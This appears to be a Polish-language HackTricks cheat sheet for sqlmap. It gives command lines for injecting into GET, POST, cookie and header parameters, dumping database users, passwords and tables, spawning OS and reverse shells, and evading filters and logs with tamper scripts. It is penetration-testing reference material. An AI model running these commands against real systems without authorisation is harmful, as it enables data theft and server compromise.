12 KiB

SQLMap

{{#include ../../banners/hacktricks-training.md}}

Podstawowe argumenty dla SQLmap

Ogólne

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

Flagi technik (--technique)

Argument --technique definiuje, które metody SQL injection sqlmap będzie próbować. Każdy znak w ciągu reprezentuje technikę:

Litera Technika Opis
B Boolean-based blind Używa warunków prawda/fałsz do wnioskowania danych
E Error-based Wykorzystuje szczegółowe komunikaty o błędach DBMS do eksfiltracji wyników
U UNION query Wstrzykuje instrukcje UNION SELECT, aby pobrać dane przez ten sam kanał
S Stacked queries Dodaje dodatkowe instrukcje oddzielone ;
T Time-based blind Opiera się na opóźnieniach (SLEEP, WAITFOR), aby wykryć wstrzyknięcie
Q Inline / out-of-band Używa funkcji takich jak LOAD_FILE() lub kanałów OOB, takich jak DNS

Domyślna kolejność to BEUSTQ. Możesz je przestawić lub ograniczyć, np. tylko Boolean i Time-based w tej kolejności:

sqlmap -u "http://target/?id=1" --technique="BT" --batch

Pobierz informacje

Wewnętrzne

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

DB data

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Miejsce wstrzyknięcia

Z przechwycenia Burp/ZAP

Przechwyć żądanie i utwórz plik req.txt

sqlmap -r req.txt --current-user

Wstrzykiwanie żądania GET

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Wstrzykiwanie Żądania POST

sqlmap -u "http://example.com" --data "username=*&password=*"

Iniekcje w nagłówkach i innych metodach HTTP

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Wstrzyknięcie drugiego rzędu

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Shell

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Crawlowanie strony internetowej za pomocą SQLmap i automatyczne wykorzystanie

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Dostosowywanie wstrzyknięcia

Ustaw sufiks

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Prefiks

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Pomoc w znajdowaniu wstrzyknięć boolean

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper Opis
apostrophemask.py Zastępuje znak apostrofu jego pełnowymiarowym odpowiednikiem UTF-8
apostrophenullencode.py Zastępuje znak apostrofu jego nielegalnym podwójnym odpowiednikiem unicode
appendnullbyte.py Dodaje zakodowany znak NULL na końcu ładunku
base64encode.py Koduje wszystkie znaki w danym ładunku w formacie Base64
between.py Zastępuje operator większy niż '&gt;' z 'NOT BETWEEN 0 AND #'
bluecoat.py Zastępuje znak spacji po instrukcji SQL ważnym losowym znakiem pustym. Następnie zastępuje znak = operatorem LIKE
chardoubleencode.py Podwójnie koduje URL wszystkie znaki w danym ładunku nie przetwarzając już zakodowanych
commalesslimit.py Zastępuje wystąpienia takie jak 'LIMIT M, N' z 'LIMIT N OFFSET M'
commalessmid.py Zastępuje wystąpienia takie jak 'MID(A, B, C)' z 'MID(A FROM B FOR C)'
concat2concatws.py Zastępuje wystąpienia takie jak 'CONCAT(A, B)' z 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.py Koduje URL wszystkie znaki w danym ładunku nie przetwarzając już zakodowanych
charunicodeencode.py Koduje znaki unicode w danym ładunku nie przetwarzając już zakodowanych. "%u0022"
charunicodeescape.py Koduje znaki unicode w danym ładunku nie przetwarzając już zakodowanych. "\u0022"
equaltolike.py Zastępuje wszystkie wystąpienia operatora równości '=' operatorem 'LIKE'
escapequotes.py Używa znaku ukośnika do ucieczki z cytatów ' i "
greatest.py Zastępuje operator większy niż '&gt;' z odpowiednikiem 'GREATEST'
halfversionedmorekeywords.py Dodaje wersjonowany komentarz MySQL przed każdym słowem kluczowym
ifnull2ifisnull.py Zastępuje wystąpienia takie jak 'IFNULL(A, B)' z 'IF(ISNULL(A), B, A)'
modsecurityversioned.py Otacza pełne zapytanie wersjonowanym komentarzem
modsecurityzeroversioned.py Otacza pełne zapytanie zerowym wersjonowanym komentarzem
multiplespaces.py Dodaje wiele spacji wokół słów kluczowych SQL
nonrecursivereplacement.py Zastępuje zdefiniowane słowa kluczowe SQL reprezentacjami odpowiednimi do zastąpienia (np. .replace("SELECT", "")) filtry
percentage.py Dodaje znak procentu '%' przed każdym znakiem
overlongutf8.py Konwertuje wszystkie znaki w danym ładunku nie przetwarzając już zakodowanych
randomcase.py Zastępuje każdy znak słowa kluczowego losową wartością wielkości liter
randomcomments.py Dodaje losowe komentarze do słów kluczowych SQL
securesphere.py Dodaje specjalnie skonstruowany ciąg
sp_password.py Dodaje 'sp_password' na końcu ładunku w celu automatycznego zatarcia w logach DBMS
space2comment.py Zastępuje znak spacji ' ' komentarzami
space2dash.py Zastępuje znak spacji ' ' komentarzem w postaci myślnika '--' po którym następuje losowy ciąg i nowa linia '\n'
space2hash.py Zastępuje znak spacji ' ' znakiem krzyża '\#' po którym następuje losowy ciąg i nowa linia '\n'
space2morehash.py Zastępuje znak spacji ' ' znakiem krzyża '\#' po którym następuje losowy ciąg i nowa linia '\n'
space2mssqlblank.py Zastępuje znak spacji ' ' losowym znakiem pustym z ważnego zestawu alternatywnych znaków
space2mssqlhash.py Zastępuje znak spacji ' ' znakiem krzyża '\#' po którym następuje nowa linia '\n'
space2mysqlblank.py Zastępuje znak spacji ' ' losowym znakiem pustym z ważnego zestawu alternatywnych znaków
space2mysqldash.py Zastępuje znak spacji ' ' komentarzem w postaci myślnika '--' po którym następuje nowa linia '\n'
space2plus.py Zastępuje znak spacji ' ' znakiem plus '+'
space2randomblank.py Zastępuje znak spacji ' ' losowym znakiem pustym z ważnego zestawu alternatywnych znaków
symboliclogical.py Zastępuje operatory logiczne AND i OR ich symbolicznymi odpowiednikami (&& i
unionalltounion.py Zastępuje UNION ALL SELECT z UNION SELECT
unmagicquotes.py Zastępuje znak cytatu ' kombinacją wielobajtową %bf%27 razem z ogólnym komentarzem na końcu aby to działało
uppercase.py Zastępuje każdy znak słowa kluczowego wartością wielką 'INSERT'
varnish.py Dodaje nagłówek HTTP 'X-originating-IP'
versionedkeywords.py Otacza każde nie-funkcyjne słowo kluczowe wersjonowanym komentarzem MySQL
versionedmorekeywords.py Otacza każde słowo kluczowe wersjonowanym komentarzem MySQL
xforwardedfor.py Dodaje fałszywy nagłówek HTTP 'X-Forwarded-For'

References

{{#include ../../banners/hacktricks-training.md}}